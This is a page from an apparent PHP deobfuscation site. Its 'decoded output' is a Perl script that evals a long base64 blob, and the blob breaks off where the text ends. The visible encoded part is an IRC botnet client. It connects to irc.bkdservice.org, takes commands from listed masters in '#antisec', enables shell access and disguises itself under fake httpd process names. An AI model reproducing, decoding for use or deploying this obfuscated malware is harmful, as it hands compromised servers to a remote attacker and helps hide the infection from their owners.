Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

#!/usr/bin/perl use MIME::Base64; eval (decode_base64('IyBCa0RTZXJ2aWNlIFByaXZhdGUgQm90D..

Decoded Output download

<?  #!/usr/bin/perl 
use MIME::Base64; 
eval (decode_base64('IyBCa0RTZXJ2aWNlIFByaXZhdGUgQm90DQojDQpteSBAbWFzdDNycyA9ICgibWFycy5jYS50ZS5mdXQiKTsNCg0KDQpteSBAYWRtY2hhbj0oIiNhbnRpc2VjIik7DQoNCiRzZXJ2aWRvcj0naXJjLmJrZHNlcnZpY2Uub3JnJyB1bmxlc3MgJHNlcnZpZG9yOw0KDQoNCm15ICR4ZXF0ID0gIiFib3QiOw0KbXkgJGhvbWVkaXIgPSAiL3RtcC8iOw0KbXkgJHNoZWxsYWNjZXNzID0gMTsNCm15ICR4c3RhdHMgPSAxOw0KbXkgJHBhY290ZXMgPSAxOw0KbXkgJGxpbmFzX21heCA9IDU7DQpteSAkc2xlZXAgPSA2Ow0KbXkgJHBvcnRpbWUgPSA0Ow0KDQpteSBAZmFrZXBzID0gKCIvdXNyL2xvY2FsL2FwYWNoZS9iaW4vaHR0cGQgLURTU0wiLA0KICAgIi91c3Ivc2Jpbi9odHRwZCAtayBzdGFydCAtRFNTTCIsDQogICAiL3Vzci9zYmluL2h0dHBkIiwNCiAgICJnbm9tZS1wdHktaGVscGVyIiwNCiAgICJodHRwZCIpOw0KDQpteSBAbmlja25hbWUgPSAoIlRlYW1Ca0QiLCJUZWFtRGFyY2siLCJlbGl0ZXIiLCJ2eGJvdCIsInNtdWZlbiIsImR1YWwiLCJsZWUiLCJjYXJybyIsImZyaWRhIiwNCiAgICJUZWFNcngxIiwiVGVhTXJ4MCIsIlRlYU1yeDIiLCJUZWFNcngzIiwiVGVhTXJ4NCIsIlRlYU1yeDUiLCJUZWFNcng2IiwiVGVhTXJ4NyIsDQogICAiYVZlIiwia21vZCIsImttb2QyIiwidXNlbGliIiwicmFwdG9yIiwidG1wU0giLCJwd25lZCIsIncwMHQiLCJEdWFsRHVvIiwiSW50ZWwiLA0KICAgIkFNRFB3ciIsIkdlZm9yY2UiLCJFeHBsb2l0Iiwidng4bTBkIiwiaW5kZXhzIiwiaW5kZXgiLCJpbmRleDIiLCJpbmRleDMiLCJpbmRleDQiLA0KICAgInhRdDEiLCJ4UXQyIiwieFF0MyIsInhRdDQiLCJ4UXQ1IiwieFF0NiIsInhRdDciLCJ4UXQ4IiwieFF0OSIsInhRdDEwIiwiVGVhTXJ4eiIsDQogICAiRGUiLCJEZXIiLCJEZXQiLCJWYXIiLCJLYW0iLCJEZWEiLCJDc2EiLCJGYmkiLCJEZWEiLCJOYXJrbyIsIkdvbmUiLCJGZWJlciIsIlR1bGwiLA0KICAgIlR1bmRyYSIsInN0MHJtcyIsImZMYXNoIiwiVGhlTGlnaHQiLCJOaWtrbyIsIk5pa2llIiwiTmlra2llIiwiZGFuaWVsIiwidDBueWFuZHIiLA0KICAgIkV1cm9wYSIsIkZhbnRhIiwiQ2Fyb2xpbmUiLCJzcGVlZGxpbmUiLCJQZXJmMHJtIiwiaW5kZXhzIiwiZGFuIiwiZWR1Y2F0IiwiY2F0aW5hIiwNCiAgICJiaW5kZXgiLCJoaW5kZXgiLCJuMHJ3YXkiLCJteXBocCIsInBocHZ1bG4iLCJBbGFybWEiLCJHb1NjYW4iLCJvc2xvY2l0eSIsInNwZXR0ZSIsDQogICAgICAgICJDYXNjYW0iLCJ2U3BvcnQiLCJ2U21vdG9yIiwidlN0ZWFtIiwidlN0dXJibyIsIlR1cmJvc3QiLCJoZWVtYW4iLCJhbmR5IiwibG91bmRyeSIsDQogICAicmFuZ2VyIiwiQ2FyYm9uIiwiVHlwZVIiLCJOb3p6IiwicGhwZm9ydW0iLCJOeGdhcyIsIk5pbmFHaXJsIiwiSXNpdCIsImxhbWEiLCJvdWNoIiwNCiAgICJ2VGVhbSIsInZTcG90IiwidkNyZXciLCJ4ZVF0YSIsIkdvdXJsIiwiVnVsbngiLCJIa3N1cmwiLCJHcmVlZHkiLCJNcngiLCJjb3VueWphaWwiLA0KICAgIlNwb3VybCIsIlRvcnNob3YiLCJPc2xvcyIsImNvbV94ZXF0IiwibW93Z2xpIiwiQXN1cyIsImNvbV9tcngiLCJNcnhUZWFtIiwiYXJyZXN0IiwNCiAgICJ2U2NyZXciLCJiZXJhbiIsInN0dWluZyIsInVjdXR0ZXIiLCJyZWFkbm90IiwiZ2V0aGVscCIsImN1cnBvcyIsImN1dGV4dCIsIkJ1c3RlZCIsDQogICAgICAgICJkZXRkYSIsImthbmpvIiwibmVpbmVpIiwiQ2FyYm9uIiwiaXJyaXRlciIsIm1hc2EiLCJkZXYtbnVsbCIsImtvcnNldHQiLCJQZXJsVGVhbSIsDQogICAgICAgICJqYWRhIiwia2FuamVnIiwibXV0dGVyeiIsImRhbGVubWluIiwiaGVpbWRhbCIsIkdhbWJsZXIiLCJEZWFueiIsIlBocmVhayIsIkdldG5vIiwNCiAgICAgICAgIlN1c2EiLCJQaWxzIiwiUGlseiIsIkJpbHoiLCJDbHVieiIsIkNsdWJzIiwiQ2x1YmJpbiIsIkZpZ2h0cyIsIkthbXBlbiIsInRlbGVub3IiLA0KICAgICAgICAiS2Fyc3MiLCJHb3BoeSIsInJlYWN0b3IiLCJmaWxlcG9ybiIsImZpbGVtcDMiLCJmaWxlbGlzdCIsImZyZWU2IiwicHVyZXh0YyIsInVwYyIsDQogICAiR3JhbmRpcyIsIlBpY2Nhc28iLCJWYW5kYSIsInZhcmJ1cmVuIiwiVGllc3RvIiwiSmVhbiIsIkRqRWFuIiwiTWVOZSIsIlRoaVMiLCJuTyIsDQogICAgICAgICJkcnNwZWVkIiwiZnV6enkiLCJidXp6eiIsIkdvU2NhbiIsIlZ1bG5lZCIsIkdvdXJsIiwibWFrZWNvbmYiLCJzc2hkY29uZiIsIm5ndG5vIiwNCiAgICJtMHJ0ZW0iLCJjYXQwIiwiRnVja3lhbGwiLCJGdWNraXQiLCJBZW0iLCJHcmVlZHkiLCJIa3NzIiwiU3BhcmNvIiwiTW9NbyIsIkNhcmJvbiIsDQogICAgICAgICJkM255YWxsIiwidmlweiIsImR1YWxjMHJ6IiwidHdvYzByZSIsImdvdGl0IiwiaDBseXNoaXQiLCJwcnRscyIsInJhcHQwciIsIkdldGRlIiwNCiAgICJWdWxueCIsImQzbnl1cmwiLCJ2VWxudXJsIiwidjBka2EiLCJUb3JzaG92IiwidHVyYm9vIiwiQm9vc3QiLCJmYXN0eSIsImZyIiwiZ2V0ZnIiLA0KICAgImRhdGFjb3JlIiwiZHVhbGNvcmUiLCJEYW5pZWwiLCJzcHVydiIsImJ5cmRzIiwiamFpbHMiLCJzcG9vdCIsInNwZWVscyIsIm1sIiwiZ2V0ZCIsDQogICAiQW50aXZpIiwibm9kMzIiLCJTY3Jld2VkIiwiYWxpYXMiLCJtZWtra2EiLCJ0ZW1wbGF0ZSIsImYwcm0zIiwicDBrZXIiLCJHZXRvbiIsIk5PIiwNCiAgICJEb29yIiwiQm9yciIsIkphYXJuIiwiU3BvcmV0IiwiRG9wYSIsIkhhc2plbiIsInB1cnhUYyIsIkxpcXVlciIsIkp1c3RsaW5rIiwiQXN1c3QiLA0KICAgIkR1ZmZpbiIsIkR1cnJldHQiLCJEdXNzYXVsdCIsIkR3eWVyIiwiRWFyZGxleSIsIkViZWxpbmciLCJFY2tlbCIsIkVkbGV5IiwiRWRuZXIiLA0KICAgIkVkd2FyZCIsIkVpY2tlbmhvcnN0IiwiRWxpYXNzb24iLCJFcmRvcyIsIkVyZXoiLCJFc3Bpbm96YSIsIkVzdGVzIiwiRXR0ZXIiLCJFaW5hIiwNCiAgICJFbG1lbmRvcmYiLCJFbG1lcmljayIsIkVsdmlzIiwiRW5jaW5hcyIsIkVueWVhcnQiLCJFcHBsaW5nIiwiRXJiYWNoIiwiRXJkbWFuIiwiZDAiLA0KICAgIkV2ZXJldHQiLCJGYWJicmlzIiwiRmFnYW4iLCJGYWlvZXMiLCJBbHRhdmlzdGEiLCJGbGFtb3IiLCJGYXJpcyIsIkZhcm9uZSIsImYwMGxuM3QiLA0KICAgIkZhcnJlbiIsIkZhc3NvJyIsIkZhdGVzIiwiRmVpZ2VuYmF1bSIsIkZlanpvIiwiRmVsZG1hbiIsIkV1cmlwaWRlcyIsIkVuem9vIiwiZDAwcmsiLA0KICAgIldpa2lpIiwiV2lmaWkiLCJKdmMiLCJzMG5ueSIsImxla3RlciIsImhlcnJpZXIiLCJzcDBrZXIiLCJuZXRwbHkiLCJuZXRiMHN0IiwiTGlxIiwNCiAgICAgICAgImNvbW1hIiwianVsaWUiLCJzdmVpbmEiLCJhbmRyZSIsInB1bHNlZGoiLCJwMGtlciIsImowa2VyIiwiZUZuM3QiLCJMaWVycyIsInhUY25vIiwNCiAgICJTdWl0ZSIsIkluY2wiLCJQYWdlIiwiTWFwcGUiLCJPeHlkIiwiSW5mb2RlIiwiU2VuaWwiLCJQb3dlcnMiLCJMYW5ndSIsIm0wZCIsImRvY2giLA0KICAgIlNuYWtlcyIsIlJpZGRlciIsIlZpa2luZyIsIlZpa2luZ3MiLCJOb3JtYW4iLCJOb3J3YXkiLCJHZXJtYW4iLCJJbmZvIiwiQml6IiwiRWR1ZCIsDQogICAiTmluamFzIiwiSWxuZXNzIiwiVGVhY2VyIiwiRmFjZW9mZiIsImRldm51bGwiLCJNb01vIiwiU3Bvb24iLCJMaXF1aWQiLCJHb29meSIsIkFqIiwNCiAgICJHb29nbGUiLCJZYWhvbyIsIkFsdGF2aXN0YSIsIkx5Y29zIiwiU2VzYW0iLCJTb2xubyIsIkdvb2dsZXIiLCJTY2FtTmV0IiwidzBybW5ldCIsDQogICAicHVtYW4iLCJTa2VpZGFyIiwiVGluZW1lbGsiLCJGcmVpYSIsIlRyZXNpcyIsIlRiYW5lbiIsIkFkZW55ZWQiLCJIdWxrZW4iLCJQdXJlaWNlIiwNCiAgICJTcGVycmUiLCJMaXN0ZXIiLCJCdXJib24iLCJidXJiMG5zIiwiVG95MCIsIlByb3hlcyIsIldyeFN0aSIsIkV2bzYiLCJFdm83IiwiRXZvOCIsDQogICAid3NzIiwiYnNzIiwibmF0cm9uIiwia2l3aXMiLCJSZW1hbiIsIlNldm5VcCIsIlBlcmxwbHMiLCJTcGlpZCIsIkdvdmJyIiwiR292bWlsIiwNCiAgICJXc3NzcyIsIkZpbGVzIiwieEZpbGVzIiwiRGF0YXcwcm0iLCJuM3R3MHJtIiwiSW5mbyIsIkJpeiIsIk9yZ3kiLCJmb2tzeSIsIlJldmVuIiwNCiAgICJsaW1ibyIsIm1hbWJpIiwiYmFtYmkiLCJydW1teSIsIklsdXZQZXJsIiwiUGVybEtpbmciLCJQb2tlcmtpbmciLCJUdXJib2EiLCJHdHR0IiwNCiAgICJCdWdTY2FtIiwiQnVnVHJhcSIsIlRyYWNrcXMiLCJRdWUiLCJBZGlkYXMiLCJVbWJybyIsIlNwb3J0YXMiLCJMaXF1aWQiLCJGb3J1bWUiLA0KICAgIkRla2EiLCJKYmwiLCJBZGVjY28iLCJNNVIiLCJUdW5lcnMiLCJUZWNobm8iLCJTaXZpbGVuIiwiQmFvc2giLCJTbnV0ZW4iLCJQdXJrZW4iLA0KICAgImFhdWRpIiwiY291cGUiLCJuZXRsaWdhIiwibGlnYW5ldCIsIm5ldGJhc2UiLCJOZXRTbm9rIiwiU25va25ldCIsIlNuaWZuZXQiLCJsaWJ6IiwNCiAgICJpbmRleHAiLCJqb29ibGFhIiwibWFtYm9vIiwiQmlubDNuIiwiQ3BsdXNwbHVzIiwicDNybHMzeCIsImlsbGdvb24iLCJkZSIsImxpbWUiLA0KICAgImhvbWVzIiwibmV3c3IiLCJzaW5kZXgiLCJmaW5kZXgiLCJzaG9tZSIsInBocDMiLCJlZWRhbiIsIkV2ZW5zIiwiRXZlcmVzdCIsImtrazIiLA0KICAgImlnYWwiLCJjMGxvbWJpYSIsImZyZWVtZSIsImR1cGVuIiwiZDNubWFyayIsInMyZWQzbiIsImNyeXB0MG4iLCJuMGRhbTNuIiwiaXRjaCIsDQogICAiRG9taW5vIiwiVGFyc2FuIiwianVsaWUiLCJBbmV0dCIsIlN0aW5lIiwiTGF1cmEiLCJDcm9mdCIsIkNyYWZ0IiwiTXJleCIsImppZ2d5IiwNCiAgICJIZW1hYW4iLCJjMG5hbiIsImMwbm1lbiIsIkltSSIsIlJkUiIsIklscyIsIkFzcyIsIkRpbGRvIiwiUHVsYSIsIkJsb3ciLCJTbjBydHMiLA0KICAgIkFsb2FsbyIsIk5hc2EiLCJEZWFHb3YiLCJGYmlHb3YiLCJOc2FHb3YiLCJDaWFHb3YiLCJDc2lFZHUiLCJIYXYwcmQiLCJkalB1bHNlIiwNCiAgICAgICAgIk9zbG9zIiwiSWxzIiwiY2lhIiwiZDNhIiwiZGVhIiwibnNhIiwibmFzIiwiYXNhIiwia21hIiwiU2NhbXVybCIsInZpdG8iLCJ4UXQiKTsNCg0KbXkgQHhpZGVudCA9ICgibm93YXkiLCJtaXJjIiwiY21kIiwiaW5kZXgiLCJtYWluIiwicGhwIiwidnVsbiIsImlpcmlzIiwiYngiLCJzdW4iLCJraGFuIiwNCiAgICJpbmZvIiwiY3B1IiwicGV0IiwicGFjcyIsImRpbm8iLCJtZWdvdiIsIm9uZXQiLCJ4cm0iLCJ0aXNpIiwicGFybSIsImNpY28iLCJqdW4iLA0KICAgImNhb3MiLCJmcmVkIiwicGVhY2UiLCJkdWRlIiwicm94Iiwicm9jayIsInJva2llIiwiYmF5cm4iLCJnZWVzIiwiaHZhbCIsIndvbGYiLA0KICAgImRvIiwiZ28iLCJsbiIsInN0IiwiZmlsZSIsInBhZ2UiLCJwYWciLCJwZyIsImxnIiwibGFuZyIsImxuZyIsInNyY3MiLCJhY3Rpb24iLA0KICAgInNtbCIsInBvZCIsIm52aWRpYSIsInZpZGlhIiwidmlsbGEiLCJrYWtlIiwic3BhdCIsInNvbG8iLCJDb2xzIiwia29scyIsImtyZWZ0IiwNCiAgICJsYW0iLCJmYWwiLCJkZXR0IiwiZHJvcCIsInNub3AiLCJ0cnVlIiwiZmFrZSIsInllcyIsInNpciIsIm1hZSIsIm5tZiIsInZtYXgiLCJhcyIsDQogICAiYWRpbyIsImF1ZG8iLCJzb3JlbiIsInR2dHJlIiwiaG9zdCIsInVuaXRkIiwiY29kYSIsImNvYnJhIiwibWFucyIsImdtYWlsIiwiZ3RycyIsDQogICAicmVtYXgiLCJyaWsiLCJmYXRpZyIsInBvb3IiLCJnaXJscyIsInBvdyIsIndvcCIsIndvayIsInNvbiIsImtvbHNhIiwicm95ayIsImFzc3MiLA0KICAgImxvcyIsImxhcyIsImFuZ2wiLCJkcmVhbSIsImZvb2xzIiwicGhvbCIsInBob29scyIsImQwcmsiLCJzcG9uIiwic3BhbGsiLCJrYWxrIiwNCiAgICJlbWFpbCIsInNtdHAiLCJwb3BzIiwiaW1hcGQiLCJwYWciLCJsYW5nIiwibGciLCJuYXYiLCJwaHAiLCJzcHllciIsImN5cCIsImhhcmR5IiwNCiAgICAgICAgImVtYWlsIiwibnVsbCIsIm1hc3RyIiwiZHJ1bmsiLCJmdWxsIiwiYmVlciIsImJheWVyIiwibWFnZSIsIm5ldmUiLCJmaXN0IiwiaGFpc3QiLA0KICAgICAgICAiZGFyYSIsImRvcmEiLCJib3JpcyIsImRldiIsImN1cHJhIiwiaXNnYWwiLCJZdXJpIiwiR2VleiIsIkZyeXMiLCJkb3MiLCJ0byIsImVtdWwiLA0KICAgICAgICAicHduZWQiLCJrdW5nIiwia2ltIiwibGlsIiwiZmF0am8iLCJmYXRtYW4iLCJmYXQiLCJqb2UiLCJkb2VzIiwicXVhdCIsInRyZXMiLCJldSIsDQogICAic2h2NSIsImxyayIsImxrbSIsImxrbXJrIiwidHJrNSIsInh0IiwidHFleCIsIml0dCIsImZ1bGwiLCJoYWxmIiwicG93ZXIiLCJzZW5kZXIiLA0KICAgImRvZXMiLCJ0cmVzIiwicXVhdCIsImZpYXQiLCJzcG9uIiwia3ZhZSIsImxpaW0iLCJwYXBwIiwiZGRvcyIsImZhcnQiLCJub3oiLCJkYWltIiwNCiAgICJsaWdhIiwidHZvbmUiLCJzaGR3IiwiZXRjcHdkIiwiaW5pdGQiLCJmdHBkIiwid3VzcGwiLCJwcm9mdHAiLCJuZXdzZCIsInNvY2tkIiwibHVlIiwNCiAgICJsb21hIiwiRG9tbWEiLCJoZXN0IiwiaGVpc3QiLCJ0aXZvbGkiLCJzdHVkIiwiZHVzdCIsImZ1c3QiLCJGbHVlIiwibmlsbGUiLCJrZW5ueSIsDQogICAia29tYSIsImxvYyIsImluYyIsImluY2wiLCJzcmMiLCJmb2t1cyIsImZvcmQiLCJjaGV2eSIsIndyYyIsImNwdSIsImNvb2wiLCJzcmNoZXJzIiwNCiAgICJpbmMiLCJpbmNsIiwiZGlyIiwiZmlsZSIsInNkaXIiLCJtYWlucyIsImxvZ2luIiwicGF0aCIsImJhc2UiLCJjbWQiLCJjYXRzIiwiZmFydHMiLA0KICAgImZpYXQiLCJ1bm8iLCJqZXJuIiwia29iZXIiLCJsaXEiLCJ0b3JzayIsImZpc2siLCJsYWtzIiwiaG9uZSIsImhvcmUiLCJidWsiLCJub21hbiIsDQogICAibGltIiwiaWRlbSIsInByaW5jZSIsInN2ZWluYSIsImtpbmUiLCJraW0iLCJhbGxhbiIsImhhbm5lIiwidGVyamUiLCJidWtrZW4iLCJicnVzZSIsDQogICAibnUiLCJkbyIsImxpIiwiZmFlbiIsInRhdGVyIiwiZG9jIiwibG9jIiwicG9mIiwibmluamEiLCJwZXIiLCJwZXRzIiwic2luZ3MiLCJkb3BlciIsDQogICAibGlxIiwiZG9wIiwiaGVyb2luIiwiZG9rIiwicGFnZSIsInBocDMiLCJwb3AiLCJzbXRwIiwiZGF0YSIsImtpbGRlIiwiZm9zcyIsImxvd3JkciIsDQogICAiZHJ2YnkiLCJ2aXBlciIsInNuYWtlIiwiZHJhZ29uIiwiZHVwIiwidnVsbiIsImNhdCIsImdyZXAiLCJsb29wIiwiaW5ldGQiLCJwcm9mdHBkIiwNCiAgICJwYXNpdmUiLCJkYW1wIiwid2FscyIsInNub2tlIiwic25payIsInBvZmYiLCJwaGlsIiwicGlsbCIsImRyYSIsImRyam8iLCJkam8iLCJsYWJ5IiwNCiAgICJydW5lIiwiYWxhbiIsImJyaXR0IiwiYnJpdGEiLCJzdHVlIiwic3RlbmVuIiwiYW5keSIsImJhc3MiLCJwaGF0dCIsImxvdmVyIiwiZnJlc2EiLA0KICAgImp2YyIsImpibCIsImNpYSIsImZlZCIsInNvdiIsInB1cmsiLCJzbnV0Iiwic25pZiIsImRla2EiLCJzdm92ZWwiLCJsaWZlIiwia25pZmUiLCJzbyIsDQogICAiZGVrYSIsImJvcyIsImJvc3MiLCJmcmVzIiwic3BldHQiLCJkdXNqIiwia2FwcGUiLCJub3JtYW4iLCJrZWIwcmQiLCJmYWIiLCJkb3IiLCJiaXRzIiwNCiAgICJrbml2IiwibGlzYSIsIm5pbmEiLCJvbGUiLCJwYXQiLCJtdHYiLCJjaGFybCIsInNtb2tpZSIsIm5hYm8iLCJ3YWxrIiwiYnJrcyIsImtyYWQtMyIsDQogICAiZGFtZSIsImxhZHkiLCJib2xhIiwiYmlmZmVuIiwia2FtbSIsImRyZXYiLCJzcHJpZGVyIiwic3BpZGVyIiwiaXNjcmVtIiwiZGFkZHkiLCJwaWUiLA0KICAgICAgICAgICJvbm8iLCJ0aW1hIiwibXl0bSIsIm1vdG9yIiwidnNtb3QiLCJzcG9ydCIsImZhcnQiLCJkZXZzIiwidmFyIiwidG1wIiwic3BvbCIsInN0dXJlIi4NCiAgICAgICAgImp1bGUiLCJ0cmVlIiwiZ2F0ZSIsIm5ldCIsInJhbmQiLCJwZXJsIiwibGluZSIsInhxdCIsIm1yeCIsIm9yZyIsImFzdXMiLCJzcGVkIiwieWFjbyIsDQogICAiaGFzaCIsImhtbSIsImRkb3MiLCJwd3IiLCJuaXgiLCJsaW51eCIsImJzZCIsInBwYWwiLCJhaW8iLCJtYXJzIiwiYmF0ZXMiLCJkYWltIiwiZGEiLA0KICAgInBpY28iLCJubWFwIiwianVnZSIsInNvbmUiLCJsb2ciLCJnb29meSIsImthcnMiLCJtZXRlciIsImRhaW0iLCJrdWwiLCJmb2tzeSIsImh5ZW5hIiwNCiAgICJiZXRhIiwicHVsc2UiLCJkcml2ZXIiLCJvcmciLCJmb3MiLCJrYXJzIiwia21hIiwiZnVhIiwiYWxsIiwidGVhIiwiZm9rcyIsImxhZHkiLCJmYSIsDQogICAidGVzdG8iLCJib2xhIiwiYm9sZW4iLCJjYXJkIiwiY2FyZHMiLCJjaGlwIiwiY2hpcHMiLCJ3diIsImF1ZGkiLCJibXciLCJyb3lzIiwiYmVjaHMiLA0KICAgIm5va2lhIiwibXJ4Iiwic29tZSIsImNhbmR5IiwiZ29vIiwiY29vbCIsInNjYW0iLCJzY2FuIiwiZ29vZ2xlIiwibGVlIiwiY2FtIiwibGkiLCJkbSIsDQogICAibG9mZiIsImdyb3YiLCJhYmNkIiwicHVsc2UiLCJncm93IiwiYWxydCIsInNweWQiLCJ0cm9qYW4iLCJtYXhkIiwieGVxdGQiLCJ4UXRkIiwibm9keiIsDQogICAib3duZXIiLCJjcmltZSIsImRhdGEiLCJuZWVkIiwiZG9wZXIiLCJoYXNoIiwibXlzcWwiLCJpbWFwZCIsImRldmlsIiwic2hhcmsiLCJieW4iLCJqdSIpOw0KDQpteSBAeG5hbWUgPSAoIkdvb2d1cmwgKEMpIDIwMDYgeGVRdCIsInd3dy5Hb29nbGUuY29tIiwiKiBJbSB0byBsYW1lIHRvIHJlYWQgQml0Y2h4LmRvYyAqIiwiQmlhdGNoWCIsDQogICAiVHZlaXRhIEdqZW5nZW4iLCJCZ2plbmdlbiIsIkFnamVuZ2VuIiwibG9jb3MiLCJwdXRhcyIsInNwb29vbiIsIlR5cGUtUiBUdXJibyIsIkNpdmljIFIgVHVyYm8iLA0KICAgIm1JUkMgNi4xIiwiKiBJbSBzbyBsYW1lIGkgY2FudCByZWFkeSBCaXRjaFguZG9jICoiLCJCaWxsIEdhdGVzIiwiQ2Fubm9uIiwiTXR2Iiwibm9zIiwibm96enoiLA0KICAgIlNwb3J0IENyZXciLCJ2VGVhbSIsIlR1cmJvIiwicmFuZG9tIiwicGF5cGFsIiwibmV0c2NhbSIsInd3dy5taWx3MHJtLmNvbSIsImxlZSIsImF2IiwiZnJlYWNlIiwNCiAgICJ0cm9qYW4gZG9ua2V5IiwiTW9uc3RlciBHYXJhZ2UiLCJHYXJhZ2UgSW5jLiIsIlBpbXAgTWEgU2hpdCIsIlBpbXAgbXkgcmlkZSIsIkZyZWFrIG91dCIsIkRvY2giLA0KICAgInd3dy5wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZyIsInd3dy5saW51eC5jb20iLCJ3d3cuZnJlZWJzZC5vcmciLCJIZWxsbyBUaGVyZSIsInR5c29uIiwibWVra2trYSIsDQogICAiSW0ganVzdCBteXNlbGYgbWFuIiwiQ2FuIHUgZ2V0IHRoZSBjbHVlPyIsIkltIG5vdCB0aGUgb25seSBvbmUiLCJGZWFyIHRoZSBsaW9ucyIsIm1la2thIiwibm9vbyIsDQogICAiRHJhZ29ucyBiYWNrIiwiVHVyYm8gUXVhdHRybyIsIlNwb3J0IFF1YXR0cm8iLCJhaGVoIGdvb2Z5IiwiSnVzdCBmb3IgcGh1biIsImdCaWxsIiwiZ29hIiwiWWVzaXIiLA0KICAgIlRoYXRzIG15IG1vZm8gbmFtZSIsIlNub29vb3AgRG9nZ3kgU3R5bGUuLi4iLCJUcmlja3kgVHJpY2tleSIsImxvdmUsIHBlYWNlLCBhbmQgeGVRdCIsInJib3QiLCJoYSIsDQogICAiQ2xhcCB5b3VyIGhhbmRzIiwib25lIHR3byB0cmVlLCBiYXNzIiwibGlvbnMiLCJEcnVncywgc2V4LCBhbmQgeHRjIiwiaSBoYXRlIHRoYXQgYmlhdGNoIiwiYWxpIiwNCiAgICJHbyBmdWNrIHlvdXJzZWxmIiwid2hvaXMgbWVlZWUiLCJGYXRqb2UgQ29ycCIsIkJyb29rbHluIEJvdW5jaGUiLCJEaiBQdWxzZWRyaXZlciIsImxlZSIsImZ1cnUiLA0KICAgIlJhbmRvbSIsIllvdSBoYXZlIG5vIGNsdWUiLCJUaGlzIHJvY2tzIiwidXJhbml1bSIsIkJpbkxhZGVuIiwiVGVkIEJ1bmR5IiwiQ2hhcmxpZSBDaGVlZW5zIiwiaGFucyIsDQogICAiV2lsbCBTbWl0aCIsIkZyZWFzaCBQcmluY2UgT24gSVJDIiwiRnJlYXNoIHByaW5jZSBpbiBiZWwgYWlyIiwiUG93ZXJlZCBCeSBQSFBCQiIsIm1hbWJvIiwicnV5IiwNCiAgICJkaiBwdWxzZSIsIlBvd2VyZWQgQnkgeGVRdCIsIkRlbHV4IiwiMnBhYyIsIkJpZ2dpZSIsIkZ1Y2sgc2FkYW0iLCJBbGxhaCIsIkltIHlvdXIgZ29kIGlkaW90IiwiaWQiLA0KICAgIkltIHRvIGxhbWUgdG8gcmVhZCBCaXRjaFguZG9jIiwiQm9pa2EiLCJEaWFtb25kcyIsIkplYW4gY2xhdWRlIFZhbiBkYW1lIiwiQXJub2xkIFNjaHdhcnRzbmVnZXIiLA0KICAgIlN0aWciLCJBbm90aG9ueSIsIldoaXRlIFBvd2VyIiwiSnVzdCBkbyBpdCIsInZTbW90b3IgdnMuIFR1cmJvIiwiTmlzbW8gU2t5bGluZSBHVC1SIFIzNCIsIk15U3F1YWQiLA0KICAgIkhvbmRhIENpdmljIFR5cGUtUiIsIk1hcmlhIENhcnJleSIsIlRlcnJvciBTcXVhZCIsIkknbSB0byBsYW1lIHRvIHJlYWQgQml0Y2hYLmRvYyIsInczM2QiLCJodWdvIiwNCiAgICJXaW5YUCAxOTk5IChDKSBCaWxsIEdhdGVzIiwiTWljcm9zb2Z0IHdpbmRvd3MgeGVRdHhwcmVzcyIsInhlUXQgdlMgTXJ4IFRlYW0iLCJBcGFjaGUgaHR0cGQgc2VydmVyIiwNCiAgICJhcm5lIiwibGluZSIsImdlaXIiLCJ0ZXJqZSIsInN5bm5lIiwibGluZGEiLCJmcm9kZSIsIm15IG5hbWU/IiwidGVhbXJ4UHJlc3MiLCJ4ZXF0ZXJzIiwiYXN1cyBwb3dlciIsDQogICAiQ3Jhc2ggVGVzdCBEdW1teSIsIk1hZG9ubmEiLCJ2WCBwb3dlciIsIlRlYW0gV2luZG93cyIsIkJpbGwgR2F0ZXMiLCJCaWxsIEdhdGV6IiwiVGhhdHMgbXkgZ2lybC4uLiIsDQogICAiUGh1bnRlciIsInBhbnRlciIsIlNuYWtlZCIsIkh1bnRlZCIsIlZpY3R1bXMiLCJQSFBTSCIsIm1vZF9jb21feFF0IiwiY29tX3hlUXRlciIsImNvbV90ZWFtIiwiYXNzYSIsDQogICAiTm9raWEsIENvbm5lY3RpbmcgUGVvcGxlLi4uIiwiQml0Y2hYIiwic21va2UgYW5kIGZseSIsImNvbV94ZVF0X1BlcmZvcm1hbmNlIiwiVGVhTXJ4IFBlcmZvcm1hbmNlIiwNCiAgICJ4UXQiLCJQZXJsYm90IHZlcnNpb24gdng5bTBkIHYzIiwiR29vZ3VybCIsIkdvb2dsZSBsb3ZlcnMiLCJ4ZVF0X2NvbSIsIm1yeF91bml0IiwiY29tX2FzdXMiLCJoYWlzdCIsDQogICAiVGVhTXJ4IENyZXciLCJ4UXQgdlMgVGVhTXJ4IiwieGVRdCB2UyBNcngiLCJQb3dlcmVkIGJ5IFRlYU1yeCIsIlBvd2VyZWQgYnkgeFF0IiwiY29tX3hRdF9tcngiLCJjb21feCIsDQogICAiY29tX3RlYW1yeCIsInhlUXQgdGhlIHdheSB0byBnbyIsIlBlcmwgbW9ua3MiLCJwZXJsaGFja2VycyIsInBlcmwgZ2VuaXVzIiwicGVybCB0ZWFtIiwicGVybCBzY2FubmVyIiwNCiAgICJTYW4gRnJhbmNpc2NvIiwiTmV3IFlvcmsgR2FuZ2JhbmcuLiIsIlRlYW0gTm9yd2F5IiwiVGVhbSBFdXJvcGUiLCJUZWFtIEdlcm1hbnkiLCJUZWFtIFdvcmsiLCJqZXQgbGllIik7DQoNCiMjIyMjIyMjIyMjIyMjIyMjDQojIFJhbmRvbSBQb3J0cw0KIyMjIyMjIyMjIyMjIyMjIyMNCm15IEBycG9ydHMgPSAoIjg4ODgiKTsNCg0KDQpteSBATXJ4ID0gKCJcMDAxbUlSQzMyIHY1LjkxIEsuTWFyZGFtLUJleVwwMDEiLCJcMDAxbUlSQyB2Ni4yIEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIsDQogICAiXDAwMW1JUkMgdjYuMDMgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIiwiXDAwMW1JUkMgdjYuMTQgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIiwNCiAgICJcMDAxbUlSQyB2Ni4xNSBLaGFsZWQgTWFyZGFtLUJleVwwMDEiLCJcMDAxbUlSQyB2Ni4xNiBLaGFsZWQgTWFyZGFtLUJleVwwMDEiLA0KICAgIlwwMDFtSVJDIHY2LjE3IEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIsIlwwMDFtSVJDIHY2LjIxIEtoYWxlZCBNYXJkYW0tQmV5XDAwMSIsDQogICAiXDAwMVNuYWsgZm9yIE1hY2ludG9zaCA0LjkuOCBFbmdsaXNoXDAwMSIsDQogICAiXDAwMUR2QyB2MC4xIFBIUC01LjEuMSBiYXNlZ